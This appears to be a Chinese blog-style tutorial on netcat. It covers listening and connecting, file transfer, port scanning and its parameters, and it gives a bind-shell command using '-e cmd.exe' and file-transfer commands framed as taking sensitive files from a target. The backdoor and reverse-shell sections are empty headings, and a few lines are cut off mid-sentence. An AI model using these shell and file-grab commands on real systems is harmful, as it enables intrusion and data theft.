一.概述
netcat是一款基于tcp/ip协议(c/s模型的)的工具。
netcat的功能包括:
- 数据传输
- 文件传输
- 建立后门
- 端口转发
- 内外网突破
二.基础使用方法
创建一个服务器端:
nc -l -p [local_port]
nc -l -p 2222
//-l 表示启动监听模式,-p监听端口号
创建一个客户端:
nc [remote_addr] [remote_port]
nc 192.168.127.128 2222
演示:
注意:需要先创建服务器端,才能使用客户端,否则会自动断开。
三.命令执行
实现一个返回shell的通信,并能对机器ff
nc -l -p [local_port] -e cmd.exe
//-e表示
nc [remote_addr] [remote_port]
四.文件传输
使用场景:
- 取证:当目标机器被黑客攻击之后,取证人员可以利用nc的传输功能获取目标机器上的内容,避免直接在目标机器上进行操作造成取证的误差。
- 单纯获取目标机器敏感文件:当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。
nc中的数据传输使用的是标准的输入,输出流,所以可以直接利用nc来进行文件传输
//创建一个服务器,接受文件
nc -l -p [local_port] > outfile
//创建一个客户端(连接服务端),传入文件
nc [remote_addr] [remote_port] < infile
//设置等待时间,超过3秒,客户端直接关闭等待连接
nc -w3 [ip] [port]
五.端口扫描
使用场景:
- 目标内网的扫描:当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网ip和端口的扫描。
- 单纯对单个目标进行端口探测:当手头没有任何探测工具,可以使用netcat进行端口探测。
- 对目标服务的banner进行抓取:通过netcat对目标端口进行探测。
bannner信息抓取:
六.建立后门
windows建立后门:
linux建立后门:
七.命令参数
-d 脱离命令窗口,在后台运行,常用于后门建立过程
-e 执行某个程序,常用于后门建立过程
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接
-L 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-n 设置netcat只识别ip地址,不进行dns解析
-o file 设置传输十六进制数据
-p port 设置本地监听端口号
-r 设置netcat随机化端口号
-s addr 设置netcat源地址
-t 回复telnet的请求包
-u 设置netcat使用udp模式
-v 显示错误提示信息
-w sec 设置连接超时时间
-z 设置扫描模式,表示发送的数据包中不包含任何payload
八.连接转发
九.反弹shell
参考:https://blog.csdn.net/qq_38278799/article/details/104422050